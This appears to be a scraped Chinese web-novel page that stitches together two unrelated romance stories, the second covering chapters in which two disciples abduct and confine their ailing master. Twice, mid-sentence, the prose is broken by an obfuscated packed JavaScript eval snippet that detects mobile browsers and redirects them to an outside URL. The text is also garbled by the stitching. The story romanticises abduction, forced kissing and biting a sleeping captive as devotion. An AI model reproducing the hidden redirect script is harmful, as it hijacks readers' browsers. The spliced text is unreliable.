楚沐焦是楚家最不被待见的那一脉,生来是R族,体质偏孕育、安定、治愈,与杀手家族的血腥格格不入。他懒,懒到连争都懒得争,懒得沾血,懒得算计,懒得活成楚家想要的模样。 眉眼清冷淡漠,一副细框金丝眼镜遮去大半情绪,眼尾垂着,像总没睡醒,唇线淡而饱满,一抬眼却又漫着勾人的雾。禁欲又媚,安静又刺,像一朵懒得盛开、却偏偏让人移不开眼的花。 裴霖第一次见他,就栽了。 裴霖是Y族,身形挺拔,190的身高,肩宽腿长,轮廓利落如刀削,冷白皮肤上一颗颈侧小痣,是他一身冷硬里唯一的软。外人眼里他生人勿近,话少,疏离,手腕狠厉,商场上从不让步。 唯独在楚沐焦面前,所有棱角都软了三分。 楚沐焦懒,能瘫在沙发上绝不站起来,裴霖就把他的起居全兜在手里。他记得楚沐焦怕吵,记得他不爱吃甜,记得他皱眉就是不爽,记得他懒得解释、却最吃软不吃硬。 楚沐焦讨厌大道理,裴霖偏偏就爱对他讲。 不是说教,是怕。怕他懒懒散散吃亏,怕他心太软被人欺,怕他什么都懒得争最后受委屈。明明逻辑清晰、语气笃定,被楚沐焦不耐烦地打断,也只是沉默片刻,再慢悠悠把话说完,最后低声一句:“听进去没?别犯傻。” 傲娇,固执,又真心。 后来楚沐焦怀孕,生下裴意然。 孩子才刚满一周,小小的一团,软得不像话。裴霖看着楚沐焦苍白却安稳睡在床边的模样,以为这辈子就这样了——有家,有他,有孩子,安稳到尽头。 可楚家的人,找上门了。 不是谈,是威胁。 楚家要楚沐焦回去,要他继续做楚家的刀,要他断了和裴家所有牵扯。若不离开,裴家满门,裴霖,还有刚出生没几天的裴意然,全都得死。 杀手世家说到做到。 楚沐焦那天回来,整个人都冷透了。 他没说原因,没解释,没哭,只是懒懒散散地站在那里,眼底那层雾彻底冻成冰。 裴霖察觉不对,上前想抱他,被他冷冷推开。 “裴霖,我们算了。” 声音很轻,尾音依旧拖得很长,像平时没睡醒,却字字扎心。 裴霖眉心一拧:“你闹够了没有。” “谁跟你闹。”楚沐焦抬眼,眼镜片反光,看不清眼底,“我腻了,不想跟你过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚家是隐于黑暗的杀手世家,冷血无情,以命为棋。当年为保裴霖与襁褓中的裴意然活命,楚沐焦刚生产七日,便狠心斩断情丝,弃家弃子,孤身重回这座吃人的牢笼。 此后十四年,他敛去一身慵懒媚态,藏起所有柔软软肋,以R族本该安定治愈的骨血,在杀手界步步为营、狠绝登顶。曾经连抬手都嫌麻烦的人,如今运筹帷幄,翻手为云覆手为雨,将整个楚家牢牢攥在掌心。 最终,他一纸清算,将楚家世代积累的势力与财产尽数清零,只取一笔足以挥霍余生的财富,斩断最后一丝与黑暗的牵连。 前半生,他为爱人活,为家族活;后半生,他只想做回那个慵懒散漫的楚沐焦,不负自己,也等一场迟了十四年的重逢。 而裴霖独自抚养裴意然长大,对外冷硬寡言,对内却对儿子格外严苛。他将所有温柔与耐心,尽数封存在那个不告而别的人身上,对唯一的血脉只剩高标准、严要求,从不多言温情, 27. 牛奶味夹心饼干·一 隆冬残雪未消,寒风卷着碎玉似的雪沫,刮过京城最繁华的朱雀大街。 绣衣楼前红灯高挂,丝竹雅乐与酒客喧嚣揉成一团靡丽的尘烟,与街边冻得僵硬的枯树形成刺目的对比。两道颀长挺拔的身影立在街角阴影里,赤发如两簇燃不尽的烈焰,在灰白天色中格外扎眼。 兄长萧烬一身玄色劲装,金瞳冷冽如淬了寒铁,下颌线锋利得能割伤人,周身气压沉得吓人。他指尖无意识摩挲着腰间佩剑剑柄,三年时光将他打磨得愈发阴鸷霸道,周身萦绕的戾气,连往来的酒客都不敢多看一眼。 身旁的萧彻与他身形一般高大健硕,赤发狂烈依旧,唯有一双红瞳冷艳慑人,脸型比兄长稍柔几分,却半点不缺暴戾之气。他眉头紧蹙,烦躁地踢开脚边一块碎冰,语气里满是不耐:“大哥,在这破地方耗着作甚?不过是些凡俗蝼蚁,碍眼得很。” 兄弟二人自被逐出师门后,便形同水火,三言两语便能剑拔弩张。若不是心中那道挥之不去的白月光般的身影死死拴着彼此,早已拼得你死我活。 萧烬薄唇微抿,未答,金瞳只是漠然扫过绣衣楼进出的人影。 三年。 整整三年。 那个曾高居清寒殿上、白衣冷厉、动辄便板着脸罚他们抄门规、却总在深夜悄悄给他们盖好被子的师尊,自那一日冰冷地说出“逐出师门,永生不得相见”后,便彻底消失在他们的世界里。 恨吗? 恨。 恨他狠心,恨他决绝,恨他说抛弃就抛弃,仿佛他们三年师徒情分,不过是一场可以随手碾碎的尘梦。 可那份恨底下,是连他们自己都不愿承认的、疯魔入骨的痴念。日日夜夜,啃噬着心脉,让他们修为大涨的同时,心性也愈发扭曲极端。 他们赌气,不肯去找,固执地认为——若是师尊真的半分情意未泯,怎会真的舍得不回头? 可这份赌气,终究熬不过心底翻涌的思念。 就在这时,绣衣楼侧门一阵骚动。 几个醉醺醺的富家子弟勾肩搭背地走出来,嘴里污言秽语不断,而被为首那人强行搂在怀里的,是一道单薄得仿佛一折就断的身影。 雪沫落在那人头上,竟与他本身的发色融为一体,白得刺眼。 沈清辞被那人粗鲁地揽着腰,身形踉跄,几乎站不稳。久病清瘦的身子裹在一件洗得发白的旧素衣里,衣料单薄,根本挡不住刺骨寒风,衬得他肩骨纤薄,锁骨深陷,整个人透着一股一碰就碎的脆弱。 他的脸极白,是久病不愈的苍白色,唇瓣没有半分血色,眼如清泉,此刻却蒙着一层无助的水汽,被酒气熏得微微泛红。他试图推开身前的醉汉,指尖纤细无力,挣动的幅度轻得像蝴蝶振翅,非但没有挣脱,反而惹得那醉汉更加放肆,咸猪手往他腰间更紧地揽去。 “小美人,躲什么躲?陪爷喝一杯,爷给你银子……” 醉汉的调笑声刺耳至极。 沈清辞咬着唇,沉默地垂着眼,长长的睫毛颤抖着,像风中残蝶。 三年颠沛流离,病痛缠身,昔日清寒殿上高高在上的师尊,早已被磨平了所有棱角。他不再冷厉,不再严厉,只剩下温顺隐忍,连反抗都显得那般无力。他只是想在这街角避避风雪,却无端被人纠缠,孱弱的身子连自保的力气都没有。 他很瘦,极瘦,瘦得骨感清绝,美得不染尘俗,却也美得让人心尖发疼,易碎得令人想要疯狂占有。 街角的两道赤发身影,在看清那抹白色的刹那,浑身血液瞬间凝固。 时间仿佛静止。 风雪骤停,喧嚣失声。 萧烬的金瞳猛地收缩,瞳孔骤缩成针状,周身戾气以摧枯拉朽之势疯狂暴涨,玄色衣袍无风自动,空气中的冰棱瞬间被震成齑粉。他死死盯着那道被人肆意搂在怀里的单薄身影,心脏像是被一只无形的手狠狠攥住,痛得他几乎窒息。 是他。 真的是他。 他日思夜想、恨入骨髓又念入魂魄的师尊——沈清辞。 怎么会变成这样? 白发如雪,病骨支离,温顺得像一只任人欺凌的羔羊,再无半分当年的清冷锋芒。 而此刻,他竟然被一个凡俗的醉汉,如此轻贱地搂在怀里! “师尊……” 萧烬喉间溢出一声低沉沙哑的呢喃,带着不敢置信,带着蚀骨的恨意,更带着压抑三年的、疯魔的痴念。 身旁的萧彻反应更为激烈。 红瞳瞬间赤红,暴戾之气冲天而起,他攥紧的拳头指节泛白,骨节咔咔作响,眼底翻涌着滔天怒火与近乎毁灭的占有欲。他比兄长更敏感,更极端,看到师尊被人如此欺辱、脆弱无助的模样,那积攒三年的怨怼、思念、不甘、贪恋,在这一刻彻底炸开! “放开他!” 一声暴喝震彻街角,惊得空中雪沫纷飞。 萧彻身形一动,已如离弦之箭冲了出去,速度快得留下一道残影。 萧烬紧随其后,金瞳里只剩沈清辞的身影,那醉汉的触碰,在他眼中如同亵渎神明,罪该万死。 醉汉还未反应过来,便被一股恐怖的灵力狠狠掀飞,重重砸在雪地里,口吐鲜血,当场昏死过去。其余几个纨绔子弟吓得魂飞魄散,连滚带爬地逃窜,瞬间没了踪影。 沈清辞踉跄着站稳,茫然地抬眼,撞入两双燃着烈焰、翻涌着爱恨癫狂的眼眸。 赤发如焰,一金一红两道瞳光,死死锁住他。 三年未见,他的两个徒弟,早已不是当年跟在他身后的少年。 他们高大,阳刚,戾气满身,眼神里的偏执与痴狂,让久病孱弱的沈清辞,下意识地往后缩了缩,苍白的脸上泛起一丝无措。 他认得他们。 是他拼尽一切,狠心驱逐,独自背负所有苦难,也要护下的双胞胎徒弟。 萧烬,萧彻。 而此刻,这两个他护在心底的人,正用一种让他心悸的、混合着滔天恨意与疯狂执念的目光,牢牢将他困住。 风雪再次落下,落在沈清辞苍白的脸颊上,冰凉刺骨。 师徒三人,三年分离,终在这绣衣楼外,以最不堪、最刺痛的方式,重逢。 沈清辞薄唇微颤,却发不出任何声音,只是那双清泉般的眼眸里,泛起了一层薄薄的水雾,不知是疼,是怕,还是三年委屈,在这一刻,终于决堤。 而萧烬与萧彻,一步步朝他走近,赤发在寒风中狂舞,眼底的爱恨,彻底爆发。 这一次,他们绝不会再放手。 绝不会,再让他逃离。 沈清辞指尖猛地攥紧洗得发白的衣摆,苍白的指节泛出青灰。 三年了。 他以为自己早已将这对双生徒弟从命里剜去,以为隐于市井、苟延残喘,便能护得他们一世安稳。可此刻,萧烬与萧彻那双燃着烈焰的瞳仁死死钉在他身上,那股熟悉又恐怖的压迫感扑面而来,瞬间将他拖回三年前那个冰冷刺骨的逐徒之日。 逃。 心底唯一的念头疯长。 他不能留。 一旦留下,他三年的隐忍、三年的伪装、三年独自承受的病痛与折磨,全都成了笑话。更可怕的是,他分明从那两双眼睛里读出了毁天灭地的偏执——那不是久别重逢的欢喜,是被抛弃后积怨成疾的占有,是恨不得将他拆骨入腹、锁死在身边的疯魔。 沈清辞喉间发紧,没敢发出半点声音,瘦弱的身子借着风雪掩护, tiny 幅度地往后退,每一步都轻得像飘。他病骨支离,动作慢得可怜,却拼尽最后一点力气,想要转身融进人群。 只要离开这里……只要再不见他们…… 可他忘了。 眼前这两个早已不是当年需要他护在身后的少年。 萧烬先一步洞穿了他的意图。 金瞳骤然一缩,周身戾气骤然凝固成冰刃,他甚至没有动用灵力,只是微微偏头,薄唇吐出一字,冷得淬血: “不准走。” 沈清辞浑身一颤,脚步更快,单薄的身影几乎要跌进巷口。 就是这一瞬。 萧彻红瞳暴起凶光,暴躁痴狂的性子再也按捺不住。他见师尊要逃,像是被触了逆鳞,根本不等兄长开口,身形一闪便已欺近沈清辞身后。 沈清辞只觉一股腥风逼近,还未回头,后颈便骤然一麻。 萧彻没有留手。 他掌风极轻,却精准劈在师尊颈侧最软的穴位上——力道控制得极好,不会伤他,只会让他瞬间失去意识。 “唔……” 一声极轻极弱的闷哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261123|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从沈清辞唇间溢出。 白发垂落,遮住他茫然错愕的清眸,清泉般的眼神瞬间失焦,瘦弱的身子一软,直直朝下跌去。 萧烬早就在他动手的刹那动了。 几乎是萧彻掌风落下的同一秒,萧烬长臂一伸,稳稳将那副轻得不像话的身子揽进怀里。 骨感清绝,轻如薄雪。 抱在怀里,竟感觉不到多少重量,只有一身刺骨的凉和淡淡的药草气息。 三年漂泊病痛,把曾经清冷孤傲的师尊,磨成了这般一碰就碎的模样。 萧烬心脏猛地一缩,抱紧的力道不自觉加重,却又怕捏碎了他,动作矛盾又疯魔。 “我来抱。” 萧彻劈晕师尊后,回头看见的就是这一幕,红瞳瞬间炸毛,戾气暴涨:“哥!你放开他!我打的晕,就该我抱!” “轮不到你。” 萧烬垂眸,目光落在怀中人毫无防备、苍白脆弱的脸上,金瞳里翻涌着独占欲,语气没有半分商量余地,“他是师尊,只能由我抱着。” “凭什么?!” 萧彻上前一步,赤发狂烈,周身灵力激荡,地面积雪瞬间炸开,“三年前你抢,三年后你还抢?今天这师尊,我抱定了!” “你敢碰他一下试试。” 萧烬脚步未动,怀里紧紧护着晕倒的沈清辞,金瞳冷厉如刀。仅仅是气息外放,周遭空气便剧烈扭曲,连绣衣楼坚固的梁柱都发出不堪重负的咯吱声响。 那是足以掀翻整个宗门、碾压昔日所有长老的恐怖修为。 三年时间,他们早已不是清寒殿里需要师尊庇护的弟子。 从离开师门的一无所有,到凭着师门根基与狠戾心性厮杀登顶,他们如今的实力,翻手便可覆灭曾经的故土。 兄弟俩针锋相对,灵力碰撞的余波掀得风雪狂舞,周遭行人早已吓得四散奔逃,连大气都不敢喘。 最终还是萧烬先冷声道: “回去再争。” 他不愿在这市井之地,让师尊半分脆弱落在旁人眼里。 萧彻咬牙瞪着兄长怀里那抹雪白,虽不甘心,却也知道轻重,只能狠狠甩袖,恶狠狠道: “**暂且让你抱一程。**到了地方,必须换我!” 萧烬没理他,垂眸凝视怀中人安静睡去的脸,白发贴在苍白脸颊上,美得易碎又勾人。 他收紧手臂,将人稳稳护在胸前,转身朝街尽头走去。 萧彻紧随其后,目光黏在沈清辞身上,一刻也不肯挪开,像一头终于叼回猎物的凶兽,既暴躁又贪恋。 马车早已在街角等候。 并非凡俗粗陋马车,而是通体由千年墨玉楠木打造,帘幕是深海冰纱,车辕镶嵌着修士梦寐以求的灵玉,一眼便知价值连城。 车门打开,内里更是奢华得惊人—— 暖玉铺地,软绒铺榻,香炉燃着凝神静气的上等奇楠香,温度适宜,丝毫没有外面的风雪寒意。 这是他们三年厮杀挣来的地位。 权势、财富、修为,他们应有尽有,早已站在凡人与修士都仰望的高度,掀翻一个宗门,不过是弹指间的事。 萧烬弯腰,小心翼翼将怀中人放在柔软的绒榻上。 沈清辞眉头微蹙,睡得不安稳,苍白的唇瓣轻轻颤动,像是在做什么噩梦。 萧彻立刻凑上前,红瞳死死盯着他,伸手便想去碰师尊的脸,却被萧烬一把打开。 “别吵他。” “我碰我师尊,关你什么事?” “他是我师尊。” “也是我的!” 兄弟俩压低声音争吵,目光却一刻不离榻上那道雪白身影。 马车缓缓驶动,朝着城中最奢华、戒备最森严的府邸而去。 那是他们为自己准备的住处—— 殿宇巍峨,灵脉环绕,守卫皆是一等一的高手,比曾经的清寒殿华贵千倍万倍。 而从今往后,这里只会多一位主人。 一位再也逃不掉的主人。 沈清辞在一片暖香中昏沉地睡着,对自己即将面临的囚禁与纠缠,一无所知。 他以为逃离是解脱。 却不知,这一次重逢,是将他彻底锁入双生执念的牢笼。 再也没有回头路。 28. 牛奶味夹心饼干·二 暖香萦绕,软榻如云。 沈清辞是在一阵细密的骨痛里醒过来的。 睫毛颤了颤,缓缓掀开时,入目是雕梁画栋,穹顶嵌着夜明珠,柔光洒下,将这间阔大得惊人的寝殿映得如同仙宫。 暖玉地面,锦绣绒毯,熏香是千金难换的凝神香,周身被褥柔软得能将人整个人陷进去——这绝不是他三年来蜷缩过的破庙、街角、漏雨屋檐。 是牢笼。 一个精致、华美、却密不透风的牢笼。 意识回笼的刹那,绣衣楼外的画面轰然撞进脑海——醉汉的纠缠,两道灼眼的赤发,金瞳与红瞳里翻涌的疯魔,后颈一麻的失重感…… 他被抓回来了。 被他亲手推开、拼命想护周全的两个徒弟,抓回了这金碧辉煌的囚笼里。 沈清辞猛地坐起身,动作太急,牵扯了肺腑旧疾,一阵剧烈的呛咳瞬间席卷了他。他弯着腰,单薄的肩背剧烈颤抖,咳得苍白的脸颊泛起病态的潮红,咳得眼泪都被逼出了眼角。 “师尊醒了。” 冷冽的男声自榻边响起。 沈清辞抬眼,呼吸一滞。 萧烬与萧彻一左一右,坐在榻边两把紫檀木椅上,如同两尊守笼的凶兽,将他所有退路彻底封死。 三年未见,他们早已长成能只手遮天的模样。玄衣裹着挺拔健硕的身躯,赤发垂落,一金一红两道瞳光死死锁在他身上,目光灼热、偏执、怨毒,几乎要将他这副脆弱的身躯灼穿。 寝殿极大,却静得可怕,连呼吸声都清晰可闻。 沈清辞攥紧被褥,指尖泛白,往后缩了缩,病弱的嗓音轻得像风:“……你们想做什么。” “做什么?”萧彻率先嗤笑一声,红瞳里翻涌着压抑三年的戾气,他倾身逼近,高大的身影瞬间笼罩住沈清辞,“师尊三年前说得那么绝情,逐我们出师门,永生不见,如今倒问我们想做什么?” 温热的压迫感扑面而来,沈清辞下意识偏头躲开,苍白的唇瓣抿成一条脆弱的直线。 他不能说。 不能告诉他们,当年宗门长老觊觎他的修为与清寒殿权位,暗中给他下了蚀骨寒毒,那毒药入喉便毁了他的灵脉、拖垮了他的身体,更以双徒性命相胁—— 不逐走他们,他们必死。 他只能亲手挥剑,斩断所有牵绊,将他们推离深渊,自己独自扛下毒发、漂泊、病痛、众叛亲离。 这三年,他活的人不人鬼不鬼,灵脉尽碎,修为尽失,连凡夫俗子都能随意欺辱,可他从未后悔。 只要他们活着,好好活着,便够了。 可这些话,他半个字都不能说。 说了,只会把他们重新拖入漩涡。 沈清辞垂着眼,长长的睫毛遮住眸底所有情绪,声音轻而冷:“当年之事,是我意已决。清寒殿不留你们,逐出师门,是我判的。” 一句话,像一把冰锥,狠狠扎进兄弟二人的心口。 萧烬金瞳骤沉,周身气压瞬间降至冰点。他抬手,指节冰凉,猛地捏住沈清辞纤细的下巴,强迫他抬头看向自己。 力道不重,却带着不容反抗的霸道。 “意已决?”萧烬喉间滚出低哑的笑,笑得阴鸷刺骨,“师尊三年不闻不问,任凭我们在外面厮杀挣扎,任凭自己沦落至被凡夫欺辱,就是为了一句意已决?” “告诉我真相。” “为什么赶我们走。” 萧彻也伸手,从另一侧扣住沈清辞的手腕,他的掌心滚烫,力道大得几乎要捏碎他的骨头,红瞳里是近乎崩溃的偏执:“师尊,你说啊!我们到底哪里错了,你要这么狠心抛弃我们!” “我没有……”沈清辞疼得眉尖微蹙,却依旧倔强地闭嘴,“没有抛弃,只是逐徒。你们修为已成,不必再留在我身边。” “不必?” 萧烬笑了,笑声里全是蚀骨的恨意。 “师尊可知,这三年我们怎么过的?” “可知我们每夜都在恨你,又每夜都在想你?” “可知我们如今修为,足以掀翻整个清寒殿,杀尽所有欺辱过你的人——可你,却连一句真话都不肯给我们?” 他指腹摩挲着沈清辞苍白消瘦的下颌,看着这张美得清冷易碎、却又硬得让人心疼的脸,心底的疯魔一寸寸吞噬理智。 他们要的从不是权势,不是修为,不是复仇。 他们要的,从来只有他。 只有这个当年冷着脸罚他们抄门规,却会偷偷给他们送伤药;会板着面孔训诫,却会在寒夜替他们掖好被角;会高高在上如明月,却最终为了护他们,把自己推入地狱的师尊。 “不说,是吗?” 萧烬指尖微微收紧。 沈清辞疼得眼眶泛红,却依旧咬着唇,死死不肯松口。 不能说,不能说……说了,他们就危险了。 他越是隐忍,越是倔强,兄弟俩心底的偏执与痛苦便越是疯长。 萧彻红瞳赤红,猛地将他往自己怀里带了带,声音发颤,带着近乎哀求的暴戾:“师尊!你告诉我!是不是有人逼你?是不是清寒殿的人害你?你说啊!我们替你杀了他们!” “……与你们无关。” 沈清辞偏过头,声音轻得几乎听不见。 就是这一句无关,彻底压断了兄弟俩最后一根理智的弦。 萧烬俯身,将他整个人困在榻角与自己胸膛之间,白发散落在枕上,如雪似霜,衬得那张小脸脆弱得一触即碎。 “无关?” “师尊,你记着。” “你不说,我们有的是办法让你开口。” “这三年你欠我们的,欠你自己的,今日起,一笔一笔,慢慢还。” 他的声音很低,贴着沈清辞的耳畔,带着偏执入骨的占有欲。 萧彻从另一侧轻轻按住他的肩,动作带着病态的轻柔,红瞳里全是破碎的痴狂:“师尊,别逼我们……别再逼我们对你狠心。” 沈清辞浑身一颤。 他太了解这两个徒弟了。 他们的狠,他们的痴,他们的疯,都是他一手教养出来的。 如今,全都对准了他。 他想躲,想缩,想再次逃离,可四面皆是牢笼,左右皆是执念,他无路可退。 肺腑的寒毒骤然发作,细密的剧痛席卷全身,加上心底压抑三年的委屈、恐惧、无助、不能言说的痛苦,在这一刻轰然崩塌。 沈清辞鼻尖一酸,眼眶瞬间红透。 泪珠毫无预兆地滚落,砸在被褥上,晕开一小片湿痕。 那是极轻、极隐忍的哭。 没有声音,只有肩膀微微颤抖,长长的睫毛沾着泪珠,清泉般的眼眸蒙着水汽,脆弱得让人心尖抽疼。 他哭自己三年漂泊无依。 哭自己一身病痛无人可诉。 哭自己拼尽全力守护,却换来如今囚笼相对。 哭自己不能说、不能认、不能回头的苦衷。 美人落泪,本就清绝惊心,更何况是这样一个病骨支离、清冷易碎的师尊。 萧烬与萧彻同时僵住。 看着那滴泪,所有的戾气、怨毒、逼问,在一瞬间都化作了疯魔的心疼与占有。 他们要的从不是逼哭他。 他们要的,是把这个人,永远、永远锁在身边。 再也不让他受半点苦,再也不让他离开一步。 沈清辞咬着唇,拼命压抑着哭声,眼泪却越落越凶。 而榻前的两个赤发青年,居高临下地看着他,金瞳与红瞳里,是覆水难收的执念。 ——师尊,你不说,没关系。 ——我们会把你困在这里,一辈子。 ——直到你愿意依靠我们,直到你再也离不开我们。 暖香寝殿,泪落无声。 一场以爱为名、以恨为刃的囚禁,才刚刚开始。 寝殿内暖香弥漫,却压不住沈清辞身上散不去的寒凉。 不过半刻,他方才哭红的眼尾还未褪淡,体内积压三年的蚀骨寒毒便骤然翻涌。剧痛顺着四肢百骸往上窜,他整个人蜷缩在软榻上,单薄的身子控制不住地发抖,唇色瞬间白得近乎透明。 咳意一阵接一阵,细弱的喘息像风中将熄的烛火,听得人心尖发紧。 药碗早已端来,黑褐色的药汁翻滚着苦涩气息,是萧烬萧彻动用无数天材地宝、连夜让人熬制的解药,能暂缓他体内寒毒。 可沈清辞偏过头,死死闭着嘴,连看都不看那碗药一眼。 不吃。 不吃药,不吃他们给的任何东西。 不吃,便不算接受这份以囚禁为名的照料。 他苍白的下颌绷得死紧,一副宁死不屈的模样,病骨清绝,却也倔得让人心头发火。 “师尊,吃药。” 萧烬端着药碗,金瞳沉沉地盯着他,语气是不容置喙的强势。 沈清辞闭着眼,睫毛簌簌发抖,一声不吭,连半点配合的意思都没有。 萧彻在旁看得心焦又暴躁,红瞳一眯,伸手便要去捏他的下巴:“不吃?那我就撬开——” “我来。” 萧烬淡淡一句,拦下了弟弟。 他将药碗放在唇边,含了一口滚烫却不烫喉的药汁,俯身逼近。 沈清辞瞬间慌了,病弱的身子拼命往后缩,可软榻狭窄,他退无可退。那双清泉般的眼睛里泛起慌乱,他摇着头,细碎的呜咽从喉咙里溢出来:“……不要……放开我……” 他越怕,兄弟俩心底的占有欲便越疯长。 萧烬长臂一伸,指尖轻轻捏住他纤细的下颌,力道不重,却精准地让他无法闭口。指腹摩挲过他脆弱的唇瓣,微微一用力—— 沈清辞的嘴,被轻轻撬开了。 下一瞬,萧烬俯身覆下。 温热的唇瓣贴住他冰凉的唇,黑苦的药汁顺着唇齿间缓缓渡入,不容他躲避,不容他吐拒,强势又偏执地,将那一碗救命的药,一口一口,全数度进了他的口中。 沈清辞浑身剧颤。 他想扭头,想挣扎,可下颌被固定着,唇齿被占据,连呼 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“师尊,以后药,必须吃。” “你不乖,我们有的是办法让你乖乖听话。” 萧彻立刻凑上前,不甘心地抢功,按在腰上的手微微收紧: “听到没有!下次换我喂!你不准跟我抢!” 沈清辞瘫在软榻上,浑身脱力,唇瓣红肿,眼角通红,白发凌乱地贴在苍白的脸上,整个人像被揉碎了的雪。 药汁的苦还留在舌尖,可比药更苦的,是心底无处可逃的绝望。 他逃不掉。 躲不开。 拒绝不了。 从今往后,他便是这对疯魔双徒,锁在金笼里,寸步难离的—— 唯一执念。 深夜的寝殿只剩夜明珠柔和的冷光,四下寂静得能听见烛芯轻爆的声响。 沈清辞睡得极浅,三年颠沛让他连睡梦都带着警惕,更何况如今身处在这华美却窒息的牢笼里。 腿侧忽然传来一阵细密又沉的疼,不是毒发的刺骨寒痛,是带着一点轻咬的、湿热的闷痛,贴着肌肤缓缓碾过,隐秘又刺人。 他猛地惊醒,眼睫唰地张开。 黑暗里,一道赤发的身影正伏在他榻边,低着头,埋在他的腿间。 是萧彻。 心脏骤然一缩,沈清辞浑身血液都像是冻住了。 他们明明一人一间寝殿,他明明锁了榻边的纱帘……这个人是怎么进来的。 他不敢动,只敢僵硬地绷着身子,微弱的月光里,清晰地感觉到——萧彻正咬着他大腿内侧柔软的肌肤,不是凶狠的撕咬,更像是一种近乎病态的贪恋、啃噬,力道轻得发颤,却带着挥之不去的占有欲,像是在标记属于自己的东西。 沈清辞身上只盖了一层薄衾,裤腿早被无意识地蹭开,大片苍白清瘦的肌肤露在夜里。 他瘦得连腿都纤细不堪一握,骨感清绝,偏偏那一处软嫩,成了萧彻偏执纠缠的地方。 “唔……” 疼意一点点漫开,沈清辞忍不住发出一声极轻的颤音,刚想缩腿,手腕却瞬间被萧彻伸手按住了。 少年抬起身,赤发凌乱,红瞳在夜里亮得惊人,没有半分睡意,只有满得快要溢出来的痴狂。他唇瓣沾着一点极淡的红,不知是咬得用力了,还是压抑太久的情绪崩了线。 “师尊醒了?” 他声音压得极低,哑得发涩,非但没有松开,反而更凑近了些,指尖轻轻碰了碰自己刚刚咬过的地方,眼神幽暗又满足。 “我只是……太想碰你了。” 沈清辞浑身剧烈一颤,吓得眼泪都快涌出来,虚弱地往后缩,声音细得像丝:“……别、别碰我……你出去……” 他不敢大声喊。 哥哥萧烬不在,这偌大的寝殿里,只有他和这个偏执疯魔的弟弟。 三年的委屈、恐惧、无助在深夜被无限放大,他病弱的身子控制不住发抖,像一只被猛兽堵住退路的小兽,连反抗的力气都没有。 萧彻看着他吓得发白的脸、泛红的眼角、瑟瑟发抖的模样,非但没有收敛,反而心底的占有欲疯长得更凶。 他俯下身,额头轻轻抵着沈清辞的膝头,红瞳里满是破碎的温柔,语气又委屈又霸道: “我就是想咬一咬……师尊身上好香……比什么都好闻。” “哥不知道,我没让他知道。” “这是我一个人的师尊……只能我碰。” 他说着,又轻轻凑过去,在同一处轻轻咬了一下,轻得像吻,却带着宣誓主权的偏执。 沈清辞僵在榻上,一动不敢动,腿间的疼混着心底的怕,让他整个人都快要碎了。 深夜无声。 只有少年压抑的痴妄,和师尊无声的颤抖。 他不知道,这仅仅是开始。 这两个疯魔的徒弟,会一点点侵占他所有的空间、所有的呼吸、所有的退路。 直到他再也逃不开,再也离不开。 29. 牛奶味夹心饼干·三 天色微亮,浅淡的晨光透过冰纱窗棂,柔柔洒进寝殿。 沈清辞是在一阵酸软发疼中醒过来的。 浑身都沉,像是被抽走了所有力气,尤其是腰侧与大腿内侧,一阵阵细密的、带着灼热感的疼,轻轻一动便牵扯着皮肉,涩涩发紧。 他茫然地睁着眼,好一会儿才想起昨夜那惊悚的一幕——黑暗中伏在他榻边的萧彻,湿热的轻咬,隐秘又霸道的占有,还有他吓得浑身发抖、连呼救都不敢的绝望。 心跳猛地一滞。 沈清辞下意识抬手,抚向自己的腰侧。 指尖隔着薄薄的衣料触下去,一片凹凸不平的烫意,密密麻麻的印子硌着指尖,疼得他指尖一颤。 他脸色瞬间惨白如纸。 一种近乎羞耻的恐慌席卷而来,他颤抖着抬手,轻轻撩起了自己的衣摆。 只一眼,便让他眼前发黑。 苍白清瘦的腰腹上,布满了深浅不一的红痕。 有的是指尖用力攥出来的印子,一圈圈泛着红;有的是细碎的牙印,浅浅陷在皮肉里,颜色粉嫩,却刺目得要命。 再往下。 大腿内侧更是不堪入目。 软嫩的肌肤上,层层叠叠的咬痕交错,有的轻如吻痕,有的略深泛着淡红,像是被人反复啃噬、细细标记过一般,密密麻麻,遍布了他整条纤细的腿。 那是属于萧彻的、疯狂又偏执的印记。 沈清辞的手猛地僵住,血液仿佛瞬间凝固。 他瘦得肌肤薄透,一点力道便会留下痕迹,更何况是昨夜萧彻近乎失控的轻咬与触碰。 这些红痕咬痕,清清楚楚、明明白白地告诉他—— 他再也不是那个高高在上的清寒师尊,而是被这对双生徒弟,牢牢锁在身边、随意标记占有的所有物。 羞耻、恐惧、无助、委屈,一瞬间全部涌上来。 他眼眶唰地红了,指尖死死攥着衣料,指节泛青,单薄的肩膀控制不住地轻颤。 他想把这些痕迹藏起来,想找东西遮住,想缩成一团再也不见人。 可他做不到。 “吱呀——” 一声轻响,寝殿大门被人推开。 萧烬与萧彻一前一后走了进来。 两人皆是一身玄色常服,赤发束起,面容俊美凌厉,周身气场强大,一进来便将整个房间的气息都占满。 沈清辞吓得浑身一僵,慌忙放下衣摆,想把那些刺眼的痕迹全部遮住,可慌乱之下动作太急,牵扯到腰上的伤,疼得他倒抽一口冷气,脸色更加苍白。 他这副欲盖弥彰、惊慌失措的模样,瞬间落入兄弟俩眼中。 萧烬金瞳一沉,一眼便看穿了他的慌乱。 他大步走到榻前,不由分说伸手,轻轻掀开了沈清辞的衣摆。 下一秒。 腰上与腿间那密密麻麻、触目惊心的红痕咬痕,毫无保留地暴露在晨光下。 苍白的肌肤衬着粉嫩的印子,清瘦易碎的身子,配上这一身暧昧又霸道的痕迹,美得惊心,也疼得人心尖发颤。 空气瞬间死寂。 萧烬的脸色黑得可怕,金瞳里戾气翻涌,指尖都在发颤。 他不用问也知道,这是谁做的。 “萧彻。” 